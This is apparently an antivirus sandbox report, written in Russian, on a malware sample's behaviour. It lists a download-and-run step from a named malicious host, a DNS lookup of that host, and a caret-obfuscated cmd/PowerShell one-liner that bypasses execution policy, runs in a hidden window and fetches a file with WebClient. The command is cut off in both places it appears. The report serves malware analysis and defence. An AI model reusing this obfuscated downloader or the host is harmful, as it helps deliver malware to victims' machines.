Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://trustgovnet.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "Po^w^eR^sHe^lL.EX^e ^-^eXEcuTiO^N^pOLIcy ^bypaSs^ ^-noPR^OfIlE -^WinDo^wS^t^y^lE ^hID^deN (nE^w^-OBje^Ct^ sY^S^te^M.N^Et.^W^e^b^clien^t).^dOWN^lo^aD^FiL^e(^'http://trustgovn...
Сетевая активность
UDP
- DNS ASK tr###govnet.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "Po^w^eR^sHe^lL.EX^e ^-^eXEcuTiO^N^pOLIcy ^bypaSs^ ^-noPR^OfIlE -^WinDo^wS^t^y^lE ^hID^deN (nE^w^-OBje^Ct^ sY^S^te^M.N^Et.^W^e^b^clien^t).^dOWN^lo^aD^FiL^e(^'http://trustgovn...' (со скрытым окном)
